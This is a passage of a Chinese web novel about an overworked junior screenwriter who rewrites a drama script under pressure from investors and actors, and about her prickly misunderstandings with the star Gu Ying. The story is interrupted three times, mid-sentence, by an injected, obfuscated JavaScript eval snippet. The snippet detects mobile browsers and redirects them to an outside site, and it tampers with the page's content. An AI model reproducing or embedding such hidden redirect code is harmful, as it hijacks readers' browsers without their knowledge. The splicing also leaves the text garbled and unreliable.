不过好的剧本哪里轮得到他,顾应不是没有自知之明,演技就那样,没有天赋,一堆流水线剧本里挑一本罢了,更别说现在开的剧不多。第一部戏男三播出的时候,广场一片骂脚演技的黑稿,正当他以为职业生涯可能就此结束了,却凭着强大的粉丝量一路走了下来。 有好有坏,坏就是不断的私生骚扰,没有隐私。好的方面是话语权变强了,找他的剧基本是看中他的流量,而且不可否认谢励是个很厉害的经纪人。 说起演戏唱歌顾应没多大热情,进圈是意外,在谢励的包装打造下,从网上小火变成了如今的流量。 统筹发来明天要拍的场次,王承提醒道:“应哥,明天早上五点定妆。” 顾应把剧本挡在脸上嗯了一声。 拍摄的日子并不好过,一条要拍好几次,不同角度又得演好几次,要么就是调试灯光各种突发情况,然后候场,一遍一遍耗情绪精力,如果演得不符合导演预期,那还要加上心理压力,基本要一整天耗在片场。 钟知晓跟组的日子也不好过,除开配合导演讨论剧情、优化拍摄,配合演员理解人物情感情绪,解决因场地、演员等各种临时突发原因修改剧情台词等,以上这些都能解决。 现场灯光调试,走位,演员出妆,一切有条不紊地进行着。钟知晓最担心的情况出现了,就是现在。 陈念的经纪人高晴面色柔和地说:“丁导,我看了咱们最新版的剧本,我感觉后期女主转变逻辑不太好,显得不够大气。” 丁恺之回:“你具体说说。” “咱们原剧本是女本位,而且现在流行的大女主,大女主本子怎么能因为情情爱爱,太小气了,没观众爱看。”高晴微笑着转向钟知晓找认同,“编剧老师你说是不是?” 钟知晓沉默着没吭声,她抬眼看向丁恺之,不确定自己要如何回答。 高晴还在继续输出:“要不改成女主出于内心道义挣扎之类的,或者编剧老师你这边有什么好的想法,把女主的人设变得大气或者有侠义精神,就是那种能让观众一眼看上去觉得很强。” 真是好想法...钟知晓轻轻叹气,这一版剧本是总编写好过会定稿,到正式拍摄基本上改动不会太大,怎么改都基于最终定稿版人物设定逻辑进行调整。 更何况高晴提到的情况,她一个字也没动过。即便是算剧本里部分情节从她的角度看来稍稍过了,钟知晓不是主编剧,不能随意改动别人设定,她能做的只是对需要调整的地方进行调整,保证拍摄过程的顺利进行。 丁恺之轻轻皱眉做沉思状,钟知晓明白了,导演的想法跟她一致,这下便有了底气。 不管出于剧本还是立场,她委婉解释道:“高姐是这样的,女主在经历前面一系列情况后,整个人其实是失落迷茫的,是有缺点的,基于冯编剧本的设定里,从这样的原因到后续的成长,其实是能看到完整的人物弧光。前后有成长人物有变化,不完美但真实,这样会让观众更有体验感。” “可是粉丝并不会喜欢这样的设定,现在要讲女性觉醒才火。”高晴语气温柔却强势,“加一点口号加一点金句也不难吧。” 不是,光加所谓的口号有什么用,大女主不是口号喊出来的,是行为。这部剧本质上属于偶像剧范畴,一切情节核心逃不开为感情线服务。曾经钟知晓也想写点其他故事,但总会被打回来,譬如说感情戏太少,吸引不到cp粉。 “高姐我明白您的意思,但基于剧本设定,这里女主转变原因不能改,而且喊口号会让剧情变得假和空。” “所以要你来写呀是不是,让它合理、不假不空是你的本职工作不是吗?” 好一招笑里藏刀,谁不会笑啊,钟知晓也笑:“高姐我懂您的意思,原剧本冯编写得很扎实,女主的成长线、人物弧光非常完整,特别是陈念老师的形象、妆造还有表演情绪都跟剧本特别契合,网上都说她是天选女主。” 钟知晓夸完话锋一转:“我主要是担心加不必要的容易变得太饱满,其实在国内留白也很重要。毕竟对我们国人来说小满胜万全,高姐您说是不是?” 高姐轻抬眼皮:“那再讨论一下?” “好呀。”钟知晓保持微笑。 高晴面上也保持微笑,“对了今天陈念老师给大家定了奶茶,辛苦了。” 全场纷纷感谢,只留下钟知晓和丁恺之面面相觑,心累。 丁恺之若有所思,他是本剧导演,也是平台的人,尽可能地在剧集创作、平台、投资方三者之间找平衡。陈念是投资方的人,争取的结果大概率是要改动的。 不过他不想给钟知晓泼冷水:“先跟冯编聊聊演员方的意见吧。” 钟知晓点点头,给冯编发了最新情况,收到的回复只有一串....同为编剧,她当然明白冯编的心理。编剧在行业里真是没有一点话语权,开拍的前提是有这个故事。 但所有人都能对剧本有意见、要修改,只管人设要高光,完全不顾任何逻辑。 好一会冯编发来消息:如果剧组要改,也只能改。 像是放弃了挣扎,钟知晓下意识重重叹了一口气,还能说什么呢,总编都同意了,她一个跟组编剧还能有什么意见。 毫不意外,在资方的压力下,剧本只能改了,加了所谓流行的口号。 改完没过两天,顾应的经纪人谢励出现在剧组临时休息室里,钟知晓预感不妙。果然不出所料,谢励开口:“编剧老师,我看了最新修改的剧本,男主这边我们觉得也有些问题。” 钟知晓强忍着烦躁:“什么问题呢?” “你看啊,男主出现得太晚了,好歹也是男主,加几场戏让他出场顺序提前,跟女主有羁绊或者发生些事,比如路上偶然一瞥,或者描写男主对待其他人冷冰冰的场面,现在霸道男主依旧很流行的,况且跟顾应的气质也很贴切。” ...霸总哪里贴啊?男主是厌世的修仙人,哪里是霸总!!钟知晓抿了抿嘴,她就知道,该来的还是来了。跟谢励据理力争半天,钟知晓毫不退步,只是...没给她挣扎的时间,晚上崔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546085|204153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐的消息发了过来:改。 制片也同意,还能说什么呢。钟知晓和葛双两人在房间里改得想吐,拼命地讨论如何调整得更合理,现在的剧本左加一点右添几笔,打在文档上的字,好陌生。 熬完通宵改完,天都亮了顺便把早饭吃了再补觉,钟知晓蔫蔫地走到餐厅,墙面的玻璃反光,映射出重重的黑眼圈,眼皮好重。好在白天没什么事,不用去现场,睡到下午才醒来,清醒半天看到手机上的消息,天塌了。 辛辛苦苦改的稿,平台方又有了意见:改动不能脱离感情线,得要让人磕cp。 ...什么意思?那是删掉换前一版还是加甜水剧情?讲真的,钟知晓有点崩溃,来之前她早就做好了心理准备,可实际情况还是太超出了。 平常的改动小打小闹,属于本职工作,最怕遇上演员方加戏改戏,要高光。今天女主要加女性觉醒,要加口号要当大女主,明天男主要一个劲的帅要赋魅,后天平台要cp线,说不定等两天投资方又有了意见。 晚上崔姐开了视频会议,主创坐在一块讨论,讨论后的结果无非就是改。投资方、平台不能得罪,为了拍摄顺利进行下去,演员方的意见也得适当听,意思是几方的意见都得听,哪怕是逻辑不对,人设出现偏差,各方有各方的考量。 只剩苦命的钟知晓,沦为打字机器,把所有人的意见想法综合糅杂在一块,随时出现的变动,又是加班加点的修改,熬夜改,昼夜颠倒。 拍摄才过半个月,却像是过了好长段时间,还有得熬... 这天钟知晓去了现场,正在拍的一场大戏,是关于剧里男女主争吵打架场面,监视器里顾应嘴角上扬不屑一顾:“口是心非的女人!”接着是一段长镜头的停留,光打在顾应的脸上,棱角分明。 不得不承认顾应的扮相确实很好看,可真的好尬...钟知晓脚趾都快抠出一栋别墅,剧本里压根没有这一段,这是前几天补写的。男主怎么会是个霸总... 她记得当时自己写的时候的心情只有三个字:快吐了。 看不下去,钟知晓找借口出去透气,好一会丁恺之也走了出来。两人对视一刻轻轻叹气,什么都不用说,所有的话都在那一声叹息里,钟知晓明白丁恺之的为难,同样丁恺之也明白钟知晓修改的痛苦。 静静站了一会,丁恺之开口:“累的话你回酒店休息,有改动的话再说。” “没事,我就在组里待着。”回酒店也是随时待命,顶多躺在床上休息,来了快一个月,二十天都在闭关修改,钟知晓想看看外面的天。 “那你再透会儿气吧,不用着急回来。”丁恺之回去接着拍摄,他是导演可不能倒。 钟知晓边走边胡思乱想,想剧本、想工作、想梦想、想家,吹了好一会儿风。不知不觉走到剧组休息室,她有些渴,房间水箱空了,钟知晓只好走到另外一间房找,刚迈出半步听见隔壁有人讲话。 “烦死了。”顾应将剧本甩到桌上一角。 王承赶紧把门关上小声说:“应哥,剧组人多口杂。” “这不没人吗?”顾应翻了个白眼,“还有我有说错吗?你说刚刚拍的那都是些什么!” 还未说出来便已觉得羞耻的话语,王承安慰道:“现在粉丝都爱看。” “放屁。”就算他演技一般,审美还是有的,现在的剧本简直一坨便没眼看。顾应一肚子火:“这都写的什么鬼,呵呵,分明是套了个皮讲的还是霸道总裁。” 这不是根据你的意见修改的吗,钟知晓无语到了极点,她也不想改霸道总裁啊!!还让崔姐出面改。 王承知道顾应有火得发出来,没再说话等顾应继续吐槽,吐槽完就好了。 “邪魅一笑地说口是心非的女人!刚演的时候我都快吐了。”顾应想起来强忍着恶心,“这都几百年前流行的,怎么还在写?编剧一点审美也没有,真的服了。” 8. 第 8 章 钟知晓承认...确实很土,可是她有什么办法呢,她什么都做不了,不是没有争取过,得到的结果便是如此。 她自己也很委屈,满肚子的气憋着。难道进去同顾应理论一番,又有什么用呢,无非将境地变得更糟。认清现实,钟知晓将水放回原处,一声不响离开了。 闭目养神的顾应突然想起修改的剧本全都出自钟知晓之手,明明第一版修改足够,不会真是为了报复自己吧?难不成因爱生恨... 果然是口是心非的女人!下意识想到剧本里的那句话,顾应立马呸呸。这人为了自己真花了不少工夫,连跟组编剧都混了进来,到底什么来头?谢励到底给自己找的什么组,真的靠谱吗!! “诶,王承。”顾应想问钟知晓什么来头,话到嘴边,“算了。” 王承疑惑道:“应哥你想说什么,是要吃的还是要喝的?” “你才要吃的。”顾应本就生气,脾气不是很好,闭上眼不想再讲话。 等了一两个小时,剧组发来消息让他们就位准备开拍。顾应揉揉太阳穴视死如归一般回到剧组,跟人打招呼,面对众多工作人员时他总是礼貌客气。 跟刚刚吐槽的模样判若两人,王承虽来不久,早已适应了顾应的脾气。 顾应注意到监视器后的钟知晓,和丁恺之靠得很近,有些导演不喜欢编剧盯着,而有些导演就喜欢编剧跟着一起讨论,这也并不能说明什么。 那钟知晓到底怎么混进来的,顾应左想右想,怎么才能抓她个正着。 “准备好了就开始啊,action!” 收起个人情绪,投入到拍摄中,现在拍的是他在人间遇到女主的剧情,需要的情绪起伏不大,总是淡淡的。相比情绪波动的戏,这种面部表情不大的戏对顾应来说比较容易。 所以只要钟知晓在场,拍戏间隙顾应总会盯着观察,他不信找不出破绽来。 刚结束一幕,工作人员在调整,顾应坐在不远处休息,除开必要交流,钟知晓就没将目光看向过他。 奇怪,难道钟知晓真不是他的粉? 王承将咖啡递了上来,顾应微微蹙眉,自以为隐蔽地继续盯着钟知晓:“你说钟知晓她真不是我的粉丝?” “额...”王承犹豫片刻,“应哥,你想听真话还是假话?” 顾应转头没好气地用眼神示意,你说呢。 “你比较像她粉丝...”王承还没经历过社会的毒打,说话没心眼不过脑,直来直去。 顾应瞪了回去:“什么?” “老大你真有点明显了。”王承蹲下非常小声地说:“我都没好意思跟你说,你这两天时不时盯着她,我都看到了。” “什么?!”顾应抓狂,只是想抓她马脚!!! “不过你放心,其他人都忙着工作注意不到。” 谁招的助理到底懂不懂看眼色,顾应无语到没力气反驳。 “其实吧...我觉得编剧老师还挺好的呀,那天人手不够,她还主动去开三轮车。对人也总是客客气气,包括说戏什么的我看挺有耐心。还有吧她虽然素面朝天整天大黑框眼镜,不过我估计好多人卸了妆没她好看。”王承实话实说,忽而话锋一转,“不过...我记得励哥强调过,如果老大你要谈恋爱得跟公司报备。” 顾应深呼气,试图在听到这番毫无由来的话后让自己平静下来,但尝试几次后均以失败告终。他冷冷地骂道:“滚远点。” 钟知晓刚经过顾应身旁,听到滚远点的三个字。即便不是对自己,但一时间代入了王承的角色,同为打工人她太懂了... 所以亘古不变的道理,位高一阶压死人,万恶的老板、万恶的资本家! 想起前几次顾应冷冰冷的脸,还有上次在休息室说她改的剧本狗屁不通。 明星了不起啊!天天拽得跟什么似的,不满意就要改,不满意还得依着他们的心意。 钟知晓不明白顾应到底比他们高贵在哪里,大家不都是为了这部剧努力吗,为什么他们就要高高在上,她已经尽力做到最好,天天忍气吞声唯唯诺诺低头哈腰,改这改那。 此刻那股气直冲脑门正欲发作,王承转身瞧见她礼貌打招呼:“编剧老师。” 钟知晓却又偃旗息鼓,扯出微笑点头回应,转向顾应说道:“顾老师,等下拍摄有句台词要修改。” 如果是别人,顾应早就起身了,此时他却坐着没动,头也没抬:“哪句?” 忍住忍住,自己是只小蚂蚁。钟知晓耐着性子,翻开剧本递到顾应跟前:“这里,把这句改得没那么拗口。” “知道了。”顾应冷冷地回答。 就当做情绪训练了,钟知晓微笑转身离开。 忍住,要有耐心,谁让外面还有一群顾应的粉丝呢,如果此刻自己真爆发了,今天还能全身全尾回去吗,真说不一定。 顾应冷冷地盯着钟知晓离去的背影,闷哼看你能装几时,非得抓住你不可。 陷入爱情的男人不自知,王承暗暗咋舌,不过也是,根据他入行听到的八卦,圈子里大部分都这样,看对眼就在一起,腻了就分开,快餐式恋爱。 顾应压根不知道助理在背后蛐蛐自己,全组上下在自己岗位上转动,他穿着密不透气的衣服,一层又一层。 影视城还没进入夏季就热得人发慌,真到夏天得热成什么样啊!想想就头疼,他拿着小风扇对着脸吹。 候场也挺无聊,只当找点事做,一连好几天,没抓到钟知晓的半点马脚,倒是见着她忙前忙后,剧本调整、临时场务各种工作,确实如同王承讲的那般,还挺...认真。 “应哥过两天就是你出道八年纪念日了,粉丝给你准备了很多。”王承刷着手机,“有好多活动呢,看得我都想去。” “订一些奶茶蛋糕之类的送给外面的粉丝,你看着办吧。”顾应没多大情绪,八年...竟过了这么久了吗? 时间长道他都快忘记从前,那时候高二趁着下课打工,周胜全再婚对他完全不管不顾,即便是住在别墅里,冷冰冰的家如同虚设。 机缘巧合在网上走红,有几家经纪公司找到他,顾应签了现在的公司。对于行业谈不上热爱喜欢,只不过比起以后,当时他更不想待在那所谓的家里。 监视器后说话声稍微大了一些,是制片崔姐和丁导在讨论拍摄。 只见崔姐眉头紧蹙:“这里有必要改吗?你把场景换到其他处,成本只会增加。” “崔姐,实景有实景的好。”丁恺之尽力说服,“这场是剧里高潮画面之一,现在的场景拍出来画面感质感差很多。” “我当然知道实景好,大棚这边是现成的景。实景那边你想想成本,光是调度搭建就得费多少人工精力,更别提要时间成本,还有实景和棚内不一样,剧本得调。” “所以要崔姐您这边拍板呀。”丁恺之能屈能伸,语气缓和,“我尽量加快拍摄进度,尽量减少拍摄天数。” 崔姐转头问:“小钟,你那边剧本修改要几天?” 其实钟知晓也不知道为什么丁恺之突然要改场景,但丁恺之找她跟组的原因,她清楚,他们得始终站在一线。 钟知晓快速地瞄了一眼丁恺之,回答道:“我跟丁导讨论修改的范畴,变动不大的话挺快的,一两天。” “行吧,我核算下成本。”崔姐拍了拍丁恺之的肩无奈道,“你必须得保证画面效果。” “那是当然,我们全组都是朝着这个目标努力的。”丁恺之笑着说:“还得多亏崔姐!” 崔姐聊完去了演员方,钟知晓小声问:“师哥你为什么要改?” “实景好看。”丁恺之没多说。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546086|204153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>钟知晓自然没异议,实景画面确实更有说服力,改动也不用太大,无非就是把场景从海上换到人间,只是要辛苦其他组忙一阵。 讨论后钟知晓便和葛双分工开动,尽早交稿置景,这些天东改西加敲键盘的速度越来越快,真成了打字机器。交完稿审核没有问题,交付各小组,置景灯光统筹各种事,跟组后没有一天轻松的。 这些都是为了心中梦想所要付出的,钟知晓安慰自己,这不辛苦,反而熬夜也很痛快。 是那种感觉,在一点一点靠近心中的梦,全身蔓延出的源源不断的快感格外能止痛。 没有别的安排,钟知晓照例去了拍摄现场,今天围在摄制组的人格外多,她瞟了一眼原来是顾应的出道纪念日。快速走开,还是离远点好了,之前就有误会免得他还真以为自己是粉丝。 刚到没一会,顾应团队人员在发奶茶,钟知晓接过礼貌地说谢谢。当明星可真好,被那么多人爱着。 真羡慕,不像自己天天当牛做马,比如现在...陈念那边又要改词加戏。 几乎没有一天不是边拍边改,最开始钟知晓还会尝试解释,为什么是这样写,人物逻辑是怎样的,到现在妥协了。 只要不涉及到核心设定,水戏加戏这些都认了,不然能怎么办,到最后还不是得加。连崔姐都要低头的投资方,她个小蚂蚁能起什么作用,挣扎个什么。 钟知晓麻木地记下要加的点,麻木地走到丁恺之跟前转述一遍,再麻木地同步到场记,习惯了。 有时候改得真想死,当然只是嘴上说说罢了,又不可能真的去,取经路上九九八十一难,这才哪儿跟哪儿。钟知晓喝了两口手中的奶茶,太甜了,甜得难受。 就应该喝美式,还得是热美式才行,因为命比美式苦。 这些情绪这些碎碎念还不能在网上发,身处娱乐行业,万不敢指桑骂槐,不然被哪个哥哥姐姐粉丝扒到,随便代入谁也够她好受的。 趴在栏杆上吹风,让情绪随着风散去。手机震动,微信消息弹了出来,不敢片刻耽误,钟知晓立刻点开,不是剧组是钟雨洁发来的消息:表姐!你进组了? 除了家里人几个朋友,钟知晓没跟别人说过,拿着奶茶懒得打字,语音转文字疑惑地问:谁给你说的? 钟雨洁:真进了?是不是我要飞升! 准没好事,钟知晓回了个:嗯。 钟雨洁:我就说那个人像你! 钟知晓:什么? 钟雨洁:我刷到视频,很像你。 钟雨洁将视频链接发了过来,钟知晓点开,记不得是哪天进拍摄场地时候,刚好撞上顾应工作人员出来,被拍了个正着。钟知晓无力回复:...你眼神真好。 钟雨洁:嘿嘿。表姐,你们要拍多久?你在那干啥,难道你是编剧吗!! 钟知晓不想节外生枝,否认回道:不是,我探班。 钟雨洁:哦...你探班的话,能帮我要顾应的签名吗? 钟知晓没有片刻犹豫拒绝:不能,我朋友只是工作人员基层小虾米。 钟雨洁:表姐,算我求你了!能不能帮我要一个,或者说拍张照。 她就知道!上次的话钟雨洁压根没听进去,钟知晓无奈叹口气,想了半天说道:其实明星也就那样,顾应也就那样,都是人,两个眼睛一个鼻子一张嘴,没什么了不起的。 回完消息,钟知晓想起今天是周五,这个时间点钟雨洁应该在上课,现在却在玩手机,于是一本正经地胡说八道开始劝学:你现在要好好学习,等上了大学,身边像顾应这样的人一抓一大把,没什么稀奇,真的,见到真人肯定会幻灭的。 “一抓一大把,没什么稀奇,见到真人会幻灭?”顾应冷不丁站在钟知晓身后,幽幽开口。 轰的一声,一旁的易拉宝被风吹倒在地。 9. 第 9 章 易拉宝倒地的声音和顾应的话一同砸向钟知晓,生理性头皮发麻,钟知晓手下意识抖动。 顾应什么时候在她身后,听到多少?要怎么圆...脑子快转啊!钟知晓呆滞地、缓慢地转身,平复情绪微笑着说:“顾应老师也来透气呀?那您慢慢透气,我不打扰了。” 说完要走,顾应轻轻一歪头:“除了这个,你没别的要说吗?” 说什么,装傻吧。钟知晓低头瞥见手中的奶茶,脑子一转:“谢谢您的奶茶,祝您出道纪念日快乐!” 顾应饶有趣味地问:“快乐先不说,看来编剧老师对我有意见?” “不敢不敢。”钟知晓猛地摇头,只好老实交代:“我表妹是您粉丝,她无意得知我在组里想要您的签名,我劝她好好学习。” “所以贬低我?”顾应紧盯眼前的人,看来钟知晓之前改的剧本还真是报复他,难道脱粉回踩了?怎么想也觉得不应该,自己最近状态很好,就算拍戏也不忘健身。 不可否认...像顾应这样的人一抓一大把是自己夸张了,但钟知晓觉得说的也是事实,这些天在组里明星是高高在上受人追捧,可本质没什么不同。 虽然从顾应的语气听起来没有什么责怪的情绪,但人前要学会低头,钟知晓尴尬地赔笑:“不好意思顾应老师,我太着急劝她,没过脑子,抱歉。”说完不想多停留,转身快步走。 “等等。” 钟知晓想当作没听到,脚步不停,谁知顾应跟了上来...真是会小题大做,不过算自己倒霉被抓个正着,她停下脚步假笑:“顾老师还有什么事吗?” 顾应嘴角勾起却没半分笑意:“不是要我签名吗?我给你签。” “什么?”钟知晓不可置信地抬眼,眼前人的笑让人毛骨悚然,直觉告诉她有诈,但说不出哪里有问题,难道大发慈悲? “带照片了吗,签哪里?”顾应摆出很好说话的模样。 他哪里是不计前嫌,分明是想抓到钟知晓的马脚,抓到她是私生的证据。 钟知晓摇头,她真没有。 顾应假装叹气:“好吧,那下次给你签好了。” “真...谢谢了。”钟知晓说完飞速逃离现场,生怕顾应继续说其他的,不管是关于剧本还是关于粉丝,得离顾应越远越好才是。 “还真是有趣。”顾应的脸色冷了下去。 王承好奇地问:“应哥,什么有趣?” “走了,候场去。”顾应懒得解释。 “哦。”王承好心提议,“不然老大你签好我给她拿去。” “拿什么?” “照片啊,你不是说要给钟老师签名吗?” 顾应没好气地看着王承,有时候真的很抓狂...他深呼一口气,没说话自顾自往里走。 也是,王承心想自己真是不会看眼色,他去送的话哪比得上人自己来找老大,一来一回感情不就相处起来了,还是应哥会啊!不过...需不需要跟励哥报备啊?算了,等进一步发展再说吧。 王承的傻笑模样,顾应简直没眼看,谢励到底给自己招的什么助理!!脑子真的没有问题吗... 晚些时候顾应有活动,剧组特意调开时间,下了班他走到外面跟粉丝挥手。人天天等着,不管是出于喜欢还是出于利益,说起来怪不容易。 今天是出道八周年,顾应说了几句感谢的话,引得尖叫连连,声音大得连站在里面的钟知晓也听得见。 丁恺之放下手机,独自思考半天开口:“晓晓,晚点我们聊聊飞升前决战的那段剧情。” “还得改?”钟知晓前两天刚改完一场戏。 改戏改台词不仅仅只是改动剧本上的一句话,调整配合涉及到的部门众多。相机位置、轨道,道具,动作设计、人物动线等等,同时也要考虑后期剪辑、时长各种问题。 “投资方那边有新的意见。”丁恺之无奈耸耸肩,“晚点陈念工作人员也一起。” “就女主吗?”钟知晓嘀咕,一般前一天改完女主,第二天男主就来了,接着别的演员也来,毫不意外。 丁恺之清楚她的意思:“目前是,晚点说不一定。” 追梦路上困难重重啊... 酒店会议室里,崔姐、丁恺之、投资方代表、陈念经纪人、顾应经纪人、男二、女二经纪人聚在一块,钟知晓也在,当然她是作为人形打字机的存在。 开头是聊进度,好一会终于切入重点,高晴开了口:“我们还是想讨论下关于飞升前屠师门这个设定有没有必要。” 丁恺之提醒:“我记得在定终稿前已经反复确认过,这个设定必须得要。” “我知道。”高晴笑笑,“但经过团队里反复评估,这个设定不符合现在的价值观,播出的时候如果形成舆论,到时候往陈念身上引,那对她本人也是很大的打击。” 崔姐沉默着没有说话,看向钟知晓,钟知晓作为跟组编剧明白自己的处境和立场,她解释道:“原小说女主的几经转折,都是为了凸显最后结局心中的道,如果改掉这一块的话,人物会立不住。” “那就往不崩的地方改。”高姐压迫性地说,“这是你的本职工作呀。” 钟知晓怔住,拿掉核心设定,还能保持不崩,来个神通收了面前的人吧,在说什么胡话呢。 崔姐丁恺之高晴三人交流半天,制片人是老大,高晴代表投资方,丁恺之代表平台,一时之间不知道该听谁的。 没一会其余演员方也加入战场,生怕自己家艺人吃了亏。 几个平常对外体体面面的人,在此刻为了各自的立场撕得天昏地暗。钟知晓停下敲键盘的手,打起来吧,把水搅得更混。 一个小时过去,没争论出个结果,钟知晓说服不了他们,投资方在向崔姐施压。最后没讨论出结果,各自散去。 只剩下丁恺之和钟知晓两个人,他俩坐着默不作声。最后丁恺之开了口:“下楼透透气?” 钟知晓跟在丁恺之身后,朝着楼下走去:“师哥你说崔姐能抗住吗?我看崔姐也不想改的。” 丁恺之沉默着没吭声,钟知晓继续说:“如果制片导演以及编剧方都不赞成改的话,投资方也不会那么强势吧。” “或许吧。”丁恺之看着前方,轻声叹息。 天空很黑,看不见光,小广场上两人一左一右分开站着,彼此沉默无言,刮起了一阵风,像是要下雨。 这边黑得看不见光,那边灯火通明。顾应下了直播,场地外站着很多等他的粉丝,为了在这天跟他说一声出道快乐。顾应鞠躬感谢挥手顺带饭撒,让粉丝都不白来,王承上前收怎么也收不完的信。 互动一阵上了车,人堵得没法开,疏通好一阵时间车才驶去,身后没有尾巴是不可能的。 真是烦死这群私生了,顾应皱着眉:“还没跟烦。” “证明应哥你火了这么多年。”吴昂拍着马屁。 顾应烦躁得不想接话,转而问道:“谢励呢?” “励哥本来要一起来的,听说剧组谈剧本改动,陈念那边去了,他临时也跟着去了。” “剧本改动?” “估计是陈念那边想改什么的吧。”王承听了几句,但不清楚。 顾应进的组不多,大多是男二,改动多的剧组这是他第一回遇到,没几天便会收到新的剧本,有时候是当天临时改,也不知道拍出来最后是什么效果,默默在心里暗自打个问号。 夜色正浓,车往酒店方向驶去,身后的尾巴孜孜不倦地跟着。顾应卸了力似的靠在车座上,一路闪过点点灯光。 过完最后一个红绿灯便到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546087|204153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒店,忙了一天的顾应有些困,他偏头看向窗外想要清醒一下,迷迷糊糊间瞧见酒店广场有两个熟悉的身影,是钟知晓和丁恺之。 吴昂也注意到了,不经意提起:“听说钟编剧是丁导那边的人。” “什么意思?”顾应没什么表情,手无意识在衣服上反复摩挲。 “我也是听组里人说,原编剧没时间,反正各方都想带自己编剧进组,商议很久。”吴昂分享自己收集来的情报,“最后是平台定下来的,丁恺之找的人。” 这就不奇怪了,顾应回忆起来,怪不得丁恺之拍摄时钟知晓总是在旁边,不断地讨论,就算涉及到修改钟知晓也很爽快,两人是一伙的。怪不得钟知晓写的东西狗屁不通,敢情是关系户,这下能说清了。 “我怎么没听说。”王承一脸惊讶,“吴昂你怎么打听到的?” 吴昂好笑:“你得去跟人交流,八卦又不能主动送到你面前。” “行,我明天就主动去跟人聊天。”王承决心好好打听,将全组的八卦都听全了。 自己的新助理听不懂好赖话,顾应翻了个白眼:“听那么多八卦干吗?好好工作。” “好的。”王承没多想。 这天要拍一场重头戏,钟知晓起得很早跟着剧组大巴去了现场,不少时候需要现场改词,她得尽快拿出方案,有时候时间紧得只有十来分钟给到她。 刚走出停车场,门口早就坐满了粉丝,不知道几点来的,比上班还早,一时之间说不上来谁更辛苦。 走了几步,钟知晓瞧见地上有一个包,便弯腰捡了起来。打开一看,有化妆包有生活用品还有...顾应的周边,那应该是粉丝掉的。 直觉告诉她不能沾边,但掉的人应该会着急吧,钟知晓没法做到视若无睹,只好走到粉丝聚集处询问:“你们有谁的东西掉了吗?我刚捡到一个小包,里面有顾应的周边,估计是你们的。” 眼前大多是青春洋溢的年轻姑娘,纷纷低头看自己有没有东西掉,都说不是自己的。那是谁的...钟知晓有些为难:“那你们认识的粉丝多,能不能帮忙问一下?” “交给我吧。”最前方头上绑着着蓝色小辫的妹妹接了过去,“我几个群都问一下,再发贴看能不能找到失主。” “谢谢啊。”说完钟知晓准备离开。 “姐姐,这个给你。”蓝色小辫妹妹把扇子塞到钟知晓手上。 扇子上印着大大的顾应的脸,钟知晓呆住,下意识、没带任何犹豫地婉拒道:“不用不用...” “天越来越热了,你拿去扇扇,今天可热了,还能遮太阳。” “真不用。”烫手山芋一般,钟知晓往回递还。 “没关系的,你不用不好意思,我做了很多。” 僵持不下,蓝色小辫妹妹十分热情,钟知晓只好接下,愣愣地说:“谢谢你啊。” 这算什么事啊...被顾应看到又得说自己是他粉丝了,那跳进黄河还能洗清吗?钟知晓往片场回,离开人群瞧见不远处有垃圾桶,只需走几步。左右看看没人,没有人!她迅速地将扇子扔了过去。 扔掉后又心生愧疚,毕竟是粉丝怀着爱意做出来的,就算自己不想要,这样随意扔掉是不是太不对了... 钟知晓挣扎一番,认命般倒回去捡起扇子,扇子上顾应的脸沾了一点灰。她摸出包里的纸,一点一点地擦。 要怎么处理呢?对了,给钟雨洁好了,反正她喜欢。 事情找到完美解决办法,自己可真聪明呀,钟知晓放松地扬起嘴角,将扇子放进包里装好。 此时顾应的车正从身边驶过,瞧见钟知晓正对着扇子上自己的脸,抚摸?? 顾应眼神幽幽的,明显不适却又带有一丝胜利感,看吧,又被我抓住了,你还真是我粉丝。 10. 第 10 章 狐狸尾巴是藏不住的,顾应些许得意地轻勾嘴唇,不管钟知晓怎么说谎,还是骗不过自己的眼睛,看她还能怎么狡辩。 如果钟知晓能将心收好,那拍戏这几个月他可以当做看不见,可以平安度过,只是如果钟知晓有别的心思,那就别怪自己不留情面! 拍了好几条喊cut,丁恺之轻轻摇头,演员的状态不太对,他将人叫到监视器前看回放。 看完陈念问:“是我的情绪要再收一点吗?” “再放一点,因为现在你俩的状态其实是在彼此试探了。”丁恺之转过头接着说,“顾应你也是,眼神要多给一点出来明白吗?” 陈念点点头,顾应同样应了声。 “你俩再顺顺。” 两位主演只好又聚在一块走戏说台词,站在钟知晓的角度来看,他俩完全就是生硬地念,看不出多少感情,情绪没到位。 丁恺之站着讲戏走位示范动作,钟知晓跟在一旁帮忙梳理人物心理动机,讨论接下来拍的剧情。灯光组在调整打光,男女主走完戏各坐一边,离得不远却没什么交流。 